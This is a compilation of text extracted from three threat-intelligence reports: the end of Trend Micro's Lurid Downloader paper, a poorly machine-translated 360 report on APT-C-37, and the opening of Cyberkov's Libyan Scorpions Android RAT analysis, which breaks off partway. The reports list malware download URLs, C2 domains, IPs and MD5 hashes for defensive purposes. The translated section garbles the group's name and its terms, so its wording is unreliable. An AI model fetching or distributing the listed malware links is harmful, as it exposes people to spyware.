to these servers. This list of compromised computers contains 1465 unique hosts (Hostname Mac address as stored by the CC) with 2272 unique external IP addresses connecting to the command and control network primarily from Russia (1063), Kazakhstan (325) and Ukraine (102) along with numerous other countries in the CIS (former Soviet Union). There were also signifi cant numbers of compromises in Vietnam, India, Mongolia and China. In total, there were victims in 61 different countries. The data covers compromised computers that connected to the command and control servers in June and July 2011. The top 10 countries of victims (based on the 2272 IP addresses) are: RU 1063 KZ 325 UA 102 VN 93 UZ 88 BY 67 IN 66 KG 49 MN 42 CN 39 The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 13 RESEARCH PAPER THE LURID DOWNLOADER MALWARE CAMPAIGNS As noted earlier, there is a unique identifi er built in to instances of the malware sent out by the attackers that allows them to keep track of the computers compromised by specifi c campaigns. In total, we found 301 campaign codes. This means that the attackers sent out at least 301 different instances of the Lurid Downloader. There are high concentrations of victims within a single country for each instance of the malware campaign indicating that the distribution of the malware is targeted at specifi c countries or regions. Campaign Count Countries strong 668 All 68 of the compromised counters were in Vietnam. ejun0708 63 5 in Russia, 3 in Ukraine and 1 each in Czech Republic, Kazakhstan, Switzerland, Tajikistan and Belarus ejun0614 42 27 in Russia, 3 in China, 3 in Kyrgyzstan, 2 in Tajikistan and 1 each in UK, US, S. Korea, Czech republic, Pakistan, Germany and Kazakhstan. strongNewDns 34 All 34 of the compromised counters were in Vietnam. ejun0509 32 31 in Russia, 1 in Ukraine ejun0511 29 21 in Russia, 4 in Ukraine, 2 in Kazakhstan, and 1 each in Czech Republic and Azerbaijan 7-28 28 24 in Vietnam and one each in UAE, Cambodia ,Thailand and China ejun0503 25 23 in Russia and 1 each in Ukraine and Czech Republic 0dayaug12.exe 22 20 in Belarus and 2 in Kazakhstan C:\WINDOWS\ system32\desp.exe 22 12 in US, 5 in Russia, 3 in The Netherlands, and 1 each in Switzerland and the European Union. There were also specifi c campaigns that affected a very small number of victims. In fact, nearly 60 (59.4) of all the campaigns affected only 1 or 2 victims. There were 115 campaigns that only compromised 1 victim and 64 campaigns that only compromised 2 victims. This indicates the precision in malware campaigns that target specifi c entities. The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 14 RESEARCH PAPER THE LURID DOWNLOADER NOTEWORTHY COMPROMISED ORGANIZATIONS We were able to use reverse DNS queries and WHOIS lookups to determine the identity some of the compromised hosts. There are high profi le diplomatic organizations that have been compromised as well as agencies relating to space and research institutions. Country Sector Date Camapign France GOV Sat Jun 18 10:22:22 2011 0dayjun14.exe Switzerland GOV Mon Jul 11 11:28:02 2011 LOGO076 UK MEDIA Thu Jun 16 08:18:44 2011 0dayapr13.exe Germany SPACE Mon Jun 20 09:43:48 2011 6-7 Spain SPACE Mon Jul 4 11:38:35 2011 6-27 Russia GOV Tue Jun 7 12:15:34 2011 lh0603hy Russia GOV Mon Jul 11 07:17:46 2011 ejun0708 Russia GOV Tue Jun 28 00:54:16 2011 110608 Russia SPACE/GOV Wed Jul 13 04:21:20 2011 aoo526pdf Russia SPACE Wed Jul 13 07:14:38 2011 winupdate712 Russia SPACE Mon Jul 25 08:43:40 2011 6-7 Russia SPACE Wed Jul 13 02:45:59 2011 coo328xls Russia RESEARCH/GOV Wed Jul 13 06:06:06 2011 aoo0516pdf Russia RESEARCH Wed Jul 20 12:01:00 2011 6-27 Russia RESEARCH Mon Jul 11 07:38:14 2011 winupdate0706 Russia RESEARCH Tue Jun 14 08:09:23 2011 110303 Russia RESEARCH Wed Jul 13 02:46:24 2011 coo0609doc Russia RESEARCH Wed Jul 13 02:47:33 2011 sat0608old Russia RESEARCH Tue Jun 14 02:49:58 2011 winupdate Russia RESEARCH Tue Jun 14 02:38:52 2011 satellite0608 Russia MEDIA Tue Jun 14 04:25:12 2011 ejun0125 China (Russia) BUSINESS Tue Jun 7 13:17:39 2011 lh0603hy Russia BUSINESS Tue Jun 14 07:28:25 2011 z11apr27aboky Russia GOV Tue Jun 14 11:49:35 2011 z10nov23k Russia POLITICAL PARTY Tue Jun 14 14:05:24 2011 LOGO69 Russia (Ukraine) GOV Mon Jul 4 10:36:46 2011 LOGO704 Turkmenistan GOV Mon Jun 13 07:28:59 2011 0dayjun09.exe Kyrgyzstan GOV Mon Jun 13 07:33:12 2011 0dayjun09.exe Kazakhstan GOV Mon Jun 13 06:06:47 2011 0daydec08.exe Kazakhstan GOV Mon Jun 27 15:15:42 2011 smross.exe The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 15 RESEARCH PAPER THE LURID DOWNLOADER Ukraine GOV Wed Jun 22 15:43:26 2011 LOGO615 Kazakhstan GOV Mon Jun 13 06:06:47 2011 0daydec08.exe Kazakhstan GOV Mon Jun 27 15:15:42 2011 smross.exe Ukraine GOV Wed Jun 22 15:43:26 2011 LOGO615 Belarus GOV Thu Jul 14 17:58:48 2011 0dayaug12.exe Germany (Kazakhstan) GOV Tue Jun 21 10:07:49 2011 LOGO621 Austria (Kyrgyzstan) GOV Mon Jun 13 09:34:45 2011 LOGO524 Russia (Tajikistan) GOV Tue Jun 7 12:00:03 2011 lh0526w.exe Kazakhstan GOV Thu Jul 7 05:44:34 2011 LOGO0705 Kyrgyzstan (Kazakhstan) GOV Tue Jul 12 10:57:17 2011 z10dec09UP.exe Kazakhstan (China) GOV Tue Jun 14 08:58:53 2011 LOGO69 Kazakhstan RESEARCH Thu Jun 16 08:24:31 2011 LOGO616 Belarus RESEARCH Wed Jul 13 05:37:40 2011 services712 Armenia RESEARCH Fri Jun 24 07:25:18 2011 LOGO624 Kazakhstan MEDIA Mon Jun 13 08:17:29 2011 z10nov25knb Vietnam GOV Sun Jul 3 09:06:57 2011 strong China BUSINESS Sun Jun 12 06:02:11 2011 lh0517e.exe Uzbekistan GOV Tue Jun 14 05:41:09 2011 0dayjan27 Vietnam GOV Tue Aug 2 12:57:36 2011 7-28 DATA EX-FILTRATION While we were unable to recover the data obtained by the attackers, we were able to collect some of the command issued by the attackers that hint at their objectives. We found that the attackers often issued the LS command to send a directory listing from specifi c directories on the compromised computers back to the command and control server. We also observed the use of the SEND FILE that ordered the compromised computers to compress, split and upload specifi c fi les (.rar, .xls, .doc) to the command and control server. However, we were unable to recover the ex-fi ltrated data. The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS TREND MICRO Trend Micro Incorporated is a pioneer in secure content and threat management. Founded in 1988, Trend Micro provides individuals and organizations of all sizes with award-winning security software, hardware, and services. With headquarters in Tokyo and operations in more than 30 countries, Trend Micro solutions are sold through corporate and value-added resellers and service providers worldwide. For additional information and evaluation copies of Trend Micro products and services, visit our website at www.trendmicro.com. TRENDLABSSM TrendLabs is Trend Micros global network of research, development, and support centers committed to 24 x 7 threat surveillance, attack prevention, and timely and seamless solutions delivery. 2011 by Trend Micro, Incorporated. All rights reserved. Trend Micro, the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners. 16 RESEARCH PAPER THE LURID DOWNLOADER ATTRIBUTION Determining who is ultimately behind targeted malware attacks is diffi cult as it requires a combination of technical and contextual analysis and the ability to connect disparate pieces of information together over a period of time. Moreover, any one researcher typically does not necessarily have all these pieces of information and must interpret the available evidence. Too often, the determination of attribution is based on easily spoofed evidence such as IP addresses. While many of these attacks are attributed to China, in this case, the IP addresses of the command and control servers were located in the United States and the United Kingdom. However, the registration information of the domain names used indicates that the owners are in China. In either case, the information is not diffi cult to manipulate. The use of Enfal, the family of malware to which Lurid Downloader belongs, has been historically linked with threat actors in China. In this case, the attack vector that we were able to analyze was related to the Tibetan community which indicates an association with China. However, China was also a victim of Lurid Downloader. CONCLUSION In this report we have analyzed targeted malware attacks that have compromised sensitive locations in Russia, CIS countries and around the world. The focus of the attacks appears to be on government networks and diplomatic missions as well and research institutions and space related agencies. We found that the attackers engaged in over 300 campaigns and kept careful records of their victims and to what campaign compromised them. Our analysis of the campaigns reveals that attackers engage in attacks that target communities in specifi c geographic locations as well extremely targeted campaigns that only affect one or two victims. The precise nature of targeted malware attacks increases the diffi culty of defense. With signifi cant reconnaissance, and possibly information gained from previously successful incursions into the targets network, the threat actors behind targeted malware attacks are able to customize their attacks to increase the probability of success. Therefore, defenses against targeted malware attacks need to focus on detection and mitigation and not simply on prevention. Through the exposure of the Lurid Downloader network, we aim to enable a better understanding of the extent and frequency of such attacks as well as the challenges that targeted malware attacks pose for traditional defenses. Defensive strategies can be dramatically improved by understanding how targeted malware attacks work as well as trends in the tools, tactics and procedures of the threat actors behind such attacks. By effectively using threat intelligence derived from external and internal sources combined with security tools that empower human analysts, organizations are better positioned to detect and mitigate targeted malware attacks. The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS Pat Bear (APT-C-37): Continued Exposure to an Armed Organizations Attacks blogs.360.cn/post/analysis-of-apt-c-37.html March 25, 2019 Pat Bear (APT-C-37): Continued to expose attacks on an armed organization I. Overview Since October 2015, the Pat Bear Organization (APT-C-37) has launched an organized, planned, and targeted long-term uninterrupted attack against an armed organization. Its attack platform is Windows and Android. Up to now, 360 Beaconlab has captured 32 Android platform attack samples, 13 Windows platform attack samples, and 7 CC domain names. Due to its own political and religious issues, an armed organization has become the target of many hackers and countries. In March 2017, an armed group, the Amaq Media Channel, issued a warning message reminding visitors that the site has been infiltrated, and anyone who visits the site will be asked to download a virus file that pretends to be a Flash installer. From the news, we determined that an armed organization is the target of the action, and its load delivery method includes at least a puddle attack. Through analysis, we found that a major CC used by the racquet bear organization is located in a certain country in the Middle East, and the CC used by the golden rat organization [1] of the same period belongs to the same network segment. Further analysis and comparison, the two organizations have strong correlation, and both contain their own unique RAT. Since the target of the patted bear organization is aimed at an armed organization that supports dual-platform attacks, there has been only one unique animal in the Middle East with a soldier certificate in history, combining some other characteristics of the organization and 360 pairs of APT. The organizations naming rules, we named the organization a role name in the DOTA game - pat the bear. 1/15 http://blogs.360.cn/post/analysis-of-apt-c-37.html Figure 1.1 Key time event points related to patted bear attacks Second, the load delivery The way of patted bear tissue load delivery is mainly puddle attack. Puddle attack Al Swarm News Agency website (see Figure 2.1) is a media website belonging to an armed organization. For the same reason, it has also suffered various attacks from all over the world. It has changed several domain names and the website has been offline. In addition to the puddle attack on the Amaq media website mentioned above, we found that Al Swarm News Agency was also used by the organization for puddle attacks. 2/15 Figure 2.1 Al Swarm News Agency website (Note: Obtained by archive) The puddle attack mode is to replace the normal APP of the Al Swarm station with a malicious APP inserted into the RAT. The RAT specific download link and the link corresponding file MD5 are shown in Table 1. Malicious download link https://sawarim.net/apps/Sawarim.apk Domain name status Invalid Download APK file MD5 Bb2d1238c8418cde13128e91f1a77ae7 Table 1 Android RAT program specific download link and link corresponding file MD5 In addition to the above two puddle attacks against an armed organizations news media website, we also found that some other historical puddle attacks used by the organization are shown in Table 2, including the specific download links and links for Android and Windows RAT programs. Corresponding file MD5. Malicious download link http://androids-app.com/downloads/Youtube_v3_4.apk Domain name status Invalid Download APK file MD5 Dc1ede8e2d3206b04cb95b6ae62f43e0 Malicious download link http://androids-app.com/SystemUI.exe 3/15 https://sawarim.net/apps/Sawarim.apk http://androids-app.com/downloads/Youtube_v3_4.apk http://androids-app.com/SystemUI.exe Domain name status Invalid Download PE file MD5 D2c40e2183cf18855c36ddd14f8e966f Malicious download link http://snapcard.argia.co.id/woocommerce/wp- content/plugins/Adobe_FlashPlayerX86_64.exe Domain name status Invalid Download PE file MD5 8c49833f76b17fdaafe5130f249312ca Malicious download link http://snapcard.argia.co.id/woocommerce/wp- content/plugins/Adobe_FlashPlayer_installX86.exe Domain name status Invalid Download PE file MD5 E6e676df8250a7b930b2d016458225e2 Malicious download link http://androids-app.com/downloads/Youtube_v3_4.apk Table 2 RAT program specific download link and link corresponding file MD5 Third, the way of induction The patted bear organization mainly uses the following two induction methods in this operation: Camouflage with normal APP function In order to be better evasive, in addition to camouflage the file icon, the RAT is also inserted into the normal APP, such as an app called , which displays the normal interface after running. However, when the specified broadcast is received, espionage occurs in the background. 4/15 http://snapcard.argia.co.id/woocommerce/wp-content/plugins/Adobe_FlashPlayerX86_64.exe http://snapcard.argia.co.id/woocommerce/wp-content/plugins/Adobe_FlashPlayer_installX86.exe Figure 3.1 Camouflage APP with two RATs File icon camouflage Figure 3.2 Disguised application software icon Fourth, RAT attack sample analysis Up to now, the bat shooting organization has used several different RATs for Android and Windows. Android There are three RATs used in the Android side. Two of them (DroidJack and SpyNote) are more frequently used commercial RATs. They have been spread on multiple hacking forums 5/15 and have been detected and exposed by many security companies. And we think that it was developed specifically for this attack, we are named SSLove, which only appeared in the event and has been updated in several versions. DroidJack Droidjack is an extremely popular RAT with its own official website, powerful and convenient management tools. The organization uses Droidjack in addition to direct use it will also be inserted into the normal APP to hide, interestingly, SSLove will also be inserted into the app, which means that the app will have two RATs at the same time. Figure 4.1 Droidjack management tool interface diagram SpyNote SpyNote is similar to Droidjack. Although the Snap Bear organization uses SpyNote, the RAT has been used for a limited number of times in this attack. 6/15 Figure 4.2 SpyNote management tool interface diagram SSLove This is a RAT that was not previously exposed. According to the special character runmylove contained in the RAT, combined with it is the first RAT found to use SqlServer to implement instruction interaction, we named SSLove. The latest version of SSLove has features such as stealing text messages, contacts, WhatsApp and Telegram data, and uploading files using FTP. The organization uses SSLove in the same way as the Droidjack, one of which is used directly, in which the Al Swarm website mentioned above is used by the camouflage APP used by the bear organization for puddle attacks the other is the insertion. Hide it in the normal app. 7/15 Figure 4.3 SSLove command function related data table Windows There are three RATs used on the Windows side, all of which have been popular in the Middle East for several years. Two of them (njRAT and H-worm) have been exposed multiple times, but they are still active. NjRAT NjRAT[2], also known as Bladeabindi, can control the registry, processes, files, etc. of the controlled terminal through the control terminal, and can also record the keyboard of the controlled terminal. At the same time, njRAT uses a plug-in mechanism to extend the functionality of njRAT through different plug-ins. The organization is mostly not directly used when using njRAT, but is sub-encapsulated on the basis of njRAT, using C to add a shell to njRAT, and a lot of confusion about the shell code. The role of the shell is to load njRAT in memory to prevent njRAT from being detected by anti-virus software. This is the case when the Amaq website mentioned above is used by the organization to masquerade as an Adobe Flash Player. 8/15 Figure 4.4 njRAT extracted from malicious samples disguised in Amaq puddle activity H-Worm H-Worm is a VBS (Visual Basic Script) based RAT. For information on the RAT, refer to FireEyes previous detailed report Now You See Me - H-worm by Houdini [3]. The attack used the H-Worm version after the confusion, and after the confusion was removed, we found that the list of instructions did not change. Figure 4.5 Confused H-Worm code snippet instruction Features Excecute Execute server command Update Update load Uninstall Uninstall yourself Send download file Site-send Specify website download file Recv upload data Enum-driver Enumeration driver Enum-faf Enumerate files in the specified directory 9/15 Enum-process Enumeration process Cmd-shell Execution shell Delete Delete Files Exit-process end process Sleep Set script sleep time instruction Features Table 3 H-Worm sample instruction and function correspondence Fkn0wned Fkn0wned is a RAT written in VB.NET. This attack uses an earlier version. It only receives the DOWNLOAD command. The DDoS function code does not work. The RAT is actually a downloader. Figure 4.4 fkn0wned configuration information and command response code map CC, IP and partial sample correspondence 10/15 Figure 4.5 CC, IP and partial sample correspondence V. Distribution of the attacked area Up to now, 360 Campfire Lab found that there were 11 countries affected by the attack on the bear organization attack. Through inquiry, it can be known that there are some armed organizations in these countries. Obviously, the cause of this distribution is caused by several targeted puddle attacks used by the organization. 11/15 Figure 5.1 Distribution of the attacked area Sixth, traceability and relevance 360 bonfire laboratory through the analysis of the bat bat attack activity, combined with the previous analysis of the gold rat organization, we found that the two organizations removed the attack target and their respective exclusive RAT, the two have very Strong relevance. They are all familiar with Arabic and have been working on Android and Windows platforms for several years. They are good at puddle attacks. A variety of RATs are used, most of which are used by both parties. Both organizations used CC on the same network segment for two time periods. Seven, summary With the geopolitical conflicts and other issues, the parties tried to take the lead through network intelligence and cyberattack activities, further causing the cyberspace conflict to intensify. The racquet bear organization is another spy intelligence activity organization based on this. Without the peace factor, the attack cannot be stopped. Recent reports claim that an armed group in a certain country in the Middle East has been attacked and declared dead. This may mean that the attack on the racquet bear organization will change, and finally hope that peace will last long Appendix A: Sample MD5 12/15 Android attack sample MD5 Windows attack sample MD5 12100da4635765f8d69d684f742a47bd 085e195c9b14ef099171805c44ff4914 1d5e36be4b94289f214447964ede688d 1a655affc8d5fffa48915a934f31f95e 1daf7e38d8d918e8e087ad590b299218 291c3f5b9b53381283a044e337899c84 1eb8e8667ed7d2a07076e3d240207613 6d6961ced0e77c28f881db579301a927 249aad5d2722b69aac7ed27c9e669c79 8bb342a3e770717bd8f39ac12a687b54 2706be45411ed22ce456b8fe8273b285 8c49833f76b17fdaafe5130f249312ca 31aad6045f403fcd397e19cad4f80d1f Ba1249123e808e744aeb96753bc119d4 3751db0d511305b39601e09959491d8e Bfaf6389cb9fba695daa8552f697d40b 430a0b26cc53f7d39b8192d0b3f79837 D2c40e2183cf18855c36ddd14f8e966f 4333a9e5d6de6e12b368f5a943a30a0e D52f57b6597e55c40c21b0f8c763cd69 484d74ebd0e3586e2ff694017dcaa9e3 D9153bdf30e0a3ab31601e43d85c9949 51f7d6fec2be62fc29cfb94f52803428 Daf7f053cf78690ff0c6ec0384d85bf2 523845736fc92ea80e9880641b768dc1 E6e676df8250a7b930b2d016458225e2 71d0cea1bee13d1e36b5a53788001b85 7d50a9bd474a7c5878ac8e0e4a183a8b 80382a7f2eb4f292a28554bc95b57938 98d584d4d575e31f9f4f70c9be05166f A31f1ce49662a60daa46180d02ab6218 A41c5f227ac2816355ce4cf650993749 A95d57eaaf7847a07e62c6ea0fecbfb7 B7d12ab736b41d503e93a0bd6125cf62 B87f516b2ee0e6df09510f75b16c25ef Bb2d1238c8418cde13128e91f1a77ae7 Bef2dddd8892a4985879971cf437d79b 13/15 C9e434e780b5bed397c543bb3264deea D195511307a2c5ac52bebf8a98b9dfae D207a876369681ed476f650d808a25a8 Dc1ede8e2d3206b04cb95b6ae62f43e0 E92651bb3ad8c5c3acf38dedb2abc2ca Ea6e187934fc1459d3b04b0898496b2c Eb3310f19720abddc34c4602983e4f3c F66d99406819ca96b47d7ff0881a0a1a Android attack sample MD5 Windows attack sample MD5 Appendix B: CC 66.85.157.86 82.137.255.0 Da3da3.duckdns.org Samd1.duckdns.org Samd2.duckdns.org Sorry.duckdns.org Btcaes2.duckdns.org Appendix C: Reference Links [1] https://ti.360.net/blog/articles/analysis-of-apt-c-27/ [2] https://en.wikipedia.org/wiki/Njrat [3] https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by- houdini.html This article links: http://blogs.360.cn/post/analysis-of-apt-c-37.html -- EOF -- 14/15 https://ti.360.net/blog/articles/analysis-of-apt-c-27/ https://en.wikipedia.org/wiki/Njrat https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html http://blogs.360.cn/post/analysis-of-apt-c-37.html 15/15 Pat Bear (APT-C-37): Continued Exposure to an Armed Organizations Attacks Pat Bear (APT-C-37): Continued to expose attacks on an armed organization I. Overview Second, the load delivery Third, the way of induction Fourth, RAT attack sample analysis V. Distribution of the attacked area Sixth, traceability and relevance Seven, summary Appendix A: Sample MD5 Appendix B: CC Appendix C: Reference Links Cyberkov Co. Ltd. www.cyberkov.com infocyberkov.com Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com Hunting Libyan Scorpions Investigating a Libyan Cyber Espionage Campaign Targeting High-Profile Influentials TLP: White For public distribution 18/September/2016 http://www.cyberkov.com/ Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 1 1 Hunting Libyan Scorpions Legal Notice: This document is intended for public use and distribution. Unauthorized use or reproduction of this document without referencing Cyberkov is prohibited. This document has been prepared by Cyberkov Co. Ltd. Document Control Document Title Hunting Libyan Scorpions TLP Classification White Document Version 1.0 Creation Date 01/September/2016 Last Modification Date 18/September/2016 Distribution Public Distribution Reference PD-001 Cyberkov Contact Details Name Cyberkov Media Office Email mediacyberkov.com Phone Number 965 22445500 Fax Number 1 (888) 433-3113 Office Number 965 22445500 General query infocyberkov.com Trademark Cyberkov and the Cyberkov logo are trademarks of Cyberkov Co. Ltd. All other trademarks mentioned in this document are owned by the mentioned legacy body or organization. The general service conditions of Cyberkov Co. Ltd. apply to this documentation, unless it is explicitly specified otherwise. Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 2 2 Hunting Libyan Scorpions Table of Contents Document Control ............................................................................................................................................... 1 Cyberkov Contact Details .................................................................................................................................... 1 Executive Summary ............................................................................................................................................. 3 Tactics, Techniques and Procedures (TTPs)......................................................................................................... 4 Malware Analysis ................................................................................................................................................. 6 Command and Control Communication ............................................................................................................ 21 Sinkhole ......................................................................................................................................................... 21 Real C2 ........................................................................................................................................................... 24 Threat Actor and Attribution ............................................................................................................................. 25 Threat Actors Infrastructure .............................................................................................................................. 29 To Be Continued ............................................................................................................................................. 33 Mitigating Libyan Scorpions Attacks on Android .............................................................................................. 33 Indicators of Compromise (IOCs) ...................................................................................................................... 33 Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 3 3 Hunting Libyan Scorpions Using malwares as weapon in an active warzone such as Libya, make the victims easy targets for assassination or kidnapping by tracking their physical locations and monitoring them day and night. Executive Summary Libya maybe known in non-stable political system, civil war and militant groups fighting for the land and oil control but it is definitely not known in cyber malicious activities, cyber espionage and hacking groups. No parties in Libya before this analysis reported to use cyber attacks, malwares nor recruit hackers to spy on their rivals. Today we have a different story. In the past weeks on 6 August 2016, Cyberkov Security Incident Response Team (CSIRT) received a numerous Android malwares operating in different areas in Libya especially in Tripoli and Benghazi. The malware spreads very fast using Telegram messenger application in smartphones, targeting high-profile Libyan influential and political figures. The malware first discovery was after a highly Libyan influential Telegram account compromised via web Telegram using IP address from Spain. The following day, the attackers spread an Android malware binded with legitimate Android application from the compromised Telegram account to all his contacts pretending it is an important voice message (misspelled it by Voice Massege.apk) which indicates a non-english (maybe an Arabic) attacker. After spreading the malware, more Android smartphones has been infected using the same technique (via Telegram) and then repost the malware again and again making a network of victims. Analysis of this incident led us to believe that this operation and the group behind it which we call Libyan Scorpions is a malware operation in use since September 2015 and operated by a politically motivated group whose main objective is intelligence gathering, spying on influentials and political figures and operate an espionage campaign within Libya. Also, the analysis of the incident led to the discovery of multiple malwares targeting Android and Windows machines. Libyan Scorpions threat actors used a set of methods to hide and operate their malwares. They appear not to have highly technical skills but a good social engineering and phishing tricks. The threat actors are not particularly sophisticated, but it is well-understood that such attacks dont need to be sophisticated in order to be effective. Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 4 4 Hunting Libyan Scorpions Tactics, Techniques and Procedures (TTPs) Libyan Scorpions is believed to be a political motivated group targeting a high-level influential and political figures in multiple cities within Libya. Libyan Scorpions first compromised a personal Telegram account for a Libyan influential person with unknown vector. The victim received a push notification from his Telegram app that someone from Spain is logged into his account: The victim mistakenly deleted Telegram application from his phone thinking that this is going to stop the attacker(s). Second day, the attacker used the victim phone number to spear phish his contacts in Telegram by pretending that the real person is sending a voice message while the file is actually a malicious APK (Android Package) file. This APK file targets only Android-based smartphones. Once the new victim click on the APK file, the application installs itself in the device without any problem and is fully functional. The icon of the application appears in the Apps menu named (URL Shortener). Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 5 5 Hunting Libyan Scorpions The real malicious code is running in the background as Android service1. 1 https://developer.android.com/guide/components/services.html https://developer.android.com/guide/components/services.html Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 6 6 Hunting Libyan Scorpions Malware Analysis Cyberkov Security Incident Response Team (CSIRT) started analyzing the APK file (malware) and the first step was to unpack it. After unpacking with apktool and reading (AndroidManifest.xml) file, it appears that the application is a malware injected inside a legitimate application having java package name: de.keineantwort.android.urlshortener. Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 7 7 Hunting Libyan Scorpions Searching for the application in Google Play store with that specific package name (https://play.google.com/store/apps/details?idde.keineantwort.android.urlshortener) yields: https://play.google.com/store/apps/details?idde.keineantwort.android.urlshortener Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 8 8 Hunting Libyan Scorpions The application exists in the store and the Libyan Scorpions hacking group took an instance of the APK and injected their malware into that legitimate application to spread it. The real application is created by keineantwort.de and we have verified it from their main website: Going back to (AndroidManifest.xml) file, the malware register itself as receiver of almost all intents and request almost all permissions available in Android system Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 9 9 Hunting Libyan Scorpions Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 10 10 Hunting Libyan Scorpions The malware can access location, network state, battery status, Bluetooth, camera, capturing audio, internet, , etc. After launching the malicious application for the first time, it checks if the Android device is rooted or not and if rooted, it asks for root permission. Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 11 11 Hunting Libyan Scorpions Carrying on the reverse engineering of the malware, we found a file called config.json which is a base64 encoded json file containing the configuration of the malware and its Command and Control (C2). The characteristics of the malware (a.txt and config.json files) and the functionality of it is very similar to JSocket and AlienSpy famous Android Remote Access Tools (RATs). Decoding the config.json file using base64 decoder shows that the C2 hostname/domain is: winmeif.myq-see.com using the port 64631 Resolving the hostname gives: 41.208.110.46 which is a static Libyan IP address owned by Libya Telecom and Technology Backbone. Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 12 12 Hunting Libyan Scorpions Going back to the domain/hostname used by the Libyan Scorpions hacking group, it appears that myq- see.com is a dynamic DNS service open for the public. Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 13 13 Hunting Libyan Scorpions Scrolling down the web page, it is created by Q-See which is a company that sells cameras and it seems that Q-See published this service to help their customers to connect to their IP cameras regardless of IP changes. Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 14 14 Hunting Libyan Scorpions The malware uses RootTools and RootShell components to make root privileged tasks easy in Android. Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 15 15 Hunting Libyan Scorpions The picture below showing that the malware is capable of taking pictures from the camera of the compromised device and upload it to the C2. The malware begins by implementing a Trust Manager that accepts all certificates so that Libyan Scorpions hackers are sure no victim left disconnected due to SSL certificates issues. Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 16 16 Hunting Libyan Scorpions The malware is able to turn the Android phone into a remote listening bug by opening the Microphone and recording the audio then send it to the C2. The malware is able to browse the files and folders stored inside the Android device. Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 17 17 Hunting Libyan Scorpions The malware is able to monitor the physical location of the compromised Android device. The malware is able to get the call logs along with phone numbers, duration and date and time of each call. Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 18 18 Hunting Libyan Scorpions The malware is able to read the SMS messages and the list of contacts saved in the device. Besides, the malware is able to get the phone number, country and network operator name from cellular towers of the telecom company of the target. Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 19 19 Hunting Libyan Scorpions The malware uses Allatori Java Obfuscator to protect the code and make it harder to reverse engineer and it obviously uses communication protocol based on Java JSON objects encapsulated in SSL connection wrapper. Again, this behavior and characteristics of the malware is very similar to JSocket and AlienSpy Android RATs. After finalizing the analysis of the Android malware, Cyberkov uploaded it to VirusTotal to see if it has been uploaded before and what information we can get from it: Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 20 20 Hunting Libyan Scorpions Cyberkov discovered that the malware has not been uploaded to VirusTotal before and the first sample of this malware has been uploaded by us. However, 8 out of 54 AntiVirus engines detect it which is a very low detection rate (15). Most and major American top Gartner Antivirus companies did not detect it Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 21 21 Hunting Libyan Scorpions Command and Control Communication Cyberkov tried to discover the attacker behind this malicious application by sinkholing the malware and analyzing the real C2. Sinkhole Cyberkov created a fake server simulating the real C2 of the Libyan Scorpions hacking group and sinkholed the malware to study the behavior of the malware deeply. Upon connection to the C2, the malware sends a lot of information about the target including: Country, Malware Path, Local IP Address, RAM, Android Version, Device Name, , etc. Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 22 22 Hunting Libyan Scorpions The fake C2 server is able to send fake commands to the malware and read the reply as well. Those commands (103, 104 and 105) correspond to the following list of commands defined in the malware: Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 23 23 Hunting Libyan Scorpions Each number corresponds to one command to be done by the malware. For example, the command (111) uninstalls the real application URLShortener: Will result in: Tel: 965 22445500 Fax: 1 (888) 4333113 Email: infocyberkov.com Website: www.cyberkov.com 24 24 Hunting Libyan Scorpions Real C2 By connecting to the real C2 IP address, Cyberkov found that the malware is really of JSocket/AlienSpy family of RATs since that family of RATs open the port 1234 with a self-signed certificate of assylias2. According to Shodan, the port (1234) has been spotted open since 12-07-2016 which is 25 days before the first discovery. 2 https://www.fidelissecurity.com/sites/default/files/FTA_1019_Ratcheting_Down_on_JSocket_A_PC_and_Android_Thre at_FINAL.pdf 